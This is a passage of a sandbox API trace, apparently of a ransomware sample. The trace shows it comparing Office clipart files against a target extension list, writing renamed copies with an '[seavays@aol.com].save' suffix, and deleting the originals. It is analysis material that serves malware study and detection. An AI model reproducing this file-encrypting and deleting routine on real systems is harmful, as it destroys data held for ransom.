(lpString1=".bz2", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString=".7z") returned 3 [0165.201] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString=".dbf") returned 4 [0165.201] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString=".1cd") returned 4 [0165.201] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString=".jpg") returned 4 [0165.201] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.201] lstrlenW (lpString=".doc") returned 4 [0165.201] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.201] lstrlenW (lpString=".docx") returned 5 [0165.202] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0165.202] lstrlenW (lpString=".pdf") returned 4 [0165.202] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString=".xls") returned 4 [0165.202] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString=".xlsx") returned 5 [0165.202] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0165.202] lstrlenW (lpString=".ppt") returned 4 [0165.202] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.202] lstrlenW (lpString=".zip") returned 4 [0165.202] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString=".rar") returned 4 [0165.202] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString=".bz2") returned 4 [0165.202] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString=".7z") returned 3 [0165.202] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.202] lstrlenW (lpString=".dbf") returned 4 [0165.202] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.202] lstrlenW (lpString=".1cd") returned 4 [0165.202] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0165.202] lstrlenW (lpString=".jpg") returned 4 [0165.202] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.203] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0165.203] lstrlenW (lpString="J0101863.BMP") returned 12 [0165.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.204] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=32184) returned 1 [0165.204] CloseHandle (hObject=0x4b4) returned 1 [0165.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0165.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0165.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0165.205] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0165.206] GetLastError () returned 0x0 [0165.206] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0166.187] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.190] ReadFile (in: hFile=0x4b4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.190] WriteFile (in: hFile=0x4a4, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.191] SetEndOfFile (hFile=0x4a4) returned 1 [0166.191] CloseHandle (hObject=0x4a4) returned 1 [0166.191] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.191] SetEndOfFile (hFile=0x4b4) returned 1 [0166.199] CloseHandle (hObject=0x4b4) returned 1 [0166.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0166.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0167.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.734] lstrlenW (lpString=".doc") returned 4 [0167.734] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.734] lstrlenW (lpString=".docx") returned 5 [0167.734] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0167.735] lstrlenW (lpString=".pdf") returned 4 [0167.735] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".xls") returned 4 [0167.735] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".xlsx") returned 5 [0167.735] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0167.735] lstrlenW (lpString=".ppt") returned 4 [0167.735] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString=".zip") returned 4 [0167.735] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".rar") returned 4 [0167.735] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".bz2") returned 4 [0167.735] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".7z") returned 3 [0167.735] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString=".dbf") returned 4 [0167.735] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString=".1cd") returned 4 [0167.735] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString=".jpg") returned 4 [0167.735] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.735] lstrlenW (lpString=".doc") returned 4 [0167.735] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.735] lstrlenW (lpString=".docx") returned 5 [0167.736] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0167.736] lstrlenW (lpString=".pdf") returned 4 [0167.736] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString=".xls") returned 4 [0167.736] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString=".xlsx") returned 5 [0167.736] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0167.736] lstrlenW (lpString=".ppt") returned 4 [0167.736] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.736] lstrlenW (lpString=".zip") returned 4 [0167.736] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString=".rar") returned 4 [0167.736] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString=".bz2") returned 4 [0167.736] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString=".7z") returned 3 [0167.736] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.736] lstrlenW (lpString=".dbf") returned 4 [0167.736] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.736] lstrlenW (lpString=".1cd") returned 4 [0167.736] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0167.736] lstrlenW (lpString=".jpg") returned 4 [0167.736] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.736] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.737] lstrlenW (lpString="J0102984.WMF") returned 12 [0167.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.738] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=17040) returned 1 [0167.738] CloseHandle (hObject=0x510) returned 1 [0167.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0167.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.738] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.738] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0167.739] GetLastError () returned 0x0 [0167.739] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4290, lpOverlapped=0x0) returned 1 [0167.741] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0167.743] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.743] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.743] SetEndOfFile (hFile=0x508) returned 1 [0167.743] CloseHandle (hObject=0x508) returned 1 [0167.743] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.743] SetEndOfFile (hFile=0x510) returned 1 [0167.747] CloseHandle (hObject=0x510) returned 1 [0167.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0167.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.748] lstrlenW (lpString=".doc") returned 4 [0167.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.748] lstrlenW (lpString=".docx") returned 5 [0167.748] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.748] lstrlenW (lpString=".pdf") returned 4 [0167.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.748] lstrlenW (lpString=".xls") returned 4 [0167.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.748] lstrlenW (lpString=".xlsx") returned 5 [0167.748] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.748] lstrlenW (lpString=".ppt") returned 4 [0167.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.748] lstrlenW (lpString=".zip") returned 4 [0167.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.749] lstrlenW (lpString=".rar") returned 4 [0167.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString=".bz2") returned 4 [0167.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString=".7z") returned 3 [0167.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.749] lstrlenW (lpString=".dbf") returned 4 [0167.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.749] lstrlenW (lpString=".1cd") returned 4 [0167.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.749] lstrlenW (lpString=".jpg") returned 4 [0167.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.749] lstrlenW (lpString=".doc") returned 4 [0167.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString=".docx") returned 5 [0167.749] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.749] lstrlenW (lpString=".pdf") returned 4 [0167.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.749] lstrlenW (lpString=".xls") returned 4 [0167.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.749] lstrlenW (lpString=".xlsx") returned 5 [0167.749] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.749] lstrlenW (lpString=".ppt") returned 4 [0167.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.750] lstrlenW (lpString=".zip") returned 4 [0167.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.750] lstrlenW (lpString=".rar") returned 4 [0167.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.750] lstrlenW (lpString=".bz2") returned 4 [0167.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.750] lstrlenW (lpString=".7z") returned 3 [0167.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.750] lstrlenW (lpString=".dbf") returned 4 [0167.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.750] lstrlenW (lpString=".1cd") returned 4 [0167.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0167.750] lstrlenW (lpString=".jpg") returned 4 [0167.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.750] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.750] lstrlenW (lpString="J0103058.WMF") returned 12 [0167.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.751] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=17344) returned 1 [0167.751] CloseHandle (hObject=0x510) returned 1 [0167.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0167.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.752] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.752] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0167.753] GetLastError () returned 0x0 [0167.753] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0167.755] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0167.756] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.756] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.756] SetEndOfFile (hFile=0x508) returned 1 [0167.757] CloseHandle (hObject=0x508) returned 1 [0167.757] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.757] SetEndOfFile (hFile=0x510) returned 1 [0167.760] CloseHandle (hObject=0x510) returned 1 [0167.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.762] lstrlenW (lpString=".doc") returned 4 [0167.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.762] lstrlenW (lpString=".docx") returned 5 [0167.762] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.762] lstrlenW (lpString=".pdf") returned 4 [0167.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.762] lstrlenW (lpString=".xls") returned 4 [0167.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.762] lstrlenW (lpString=".xlsx") returned 5 [0167.762] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.762] lstrlenW (lpString=".ppt") returned 4 [0167.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.762] lstrlenW (lpString=".zip") returned 4 [0167.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.762] lstrlenW (lpString=".rar") returned 4 [0167.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.762] lstrlenW (lpString=".bz2") returned 4 [0167.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.762] lstrlenW (lpString=".7z") returned 3 [0167.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString=".dbf") returned 4 [0167.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString=".1cd") returned 4 [0167.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 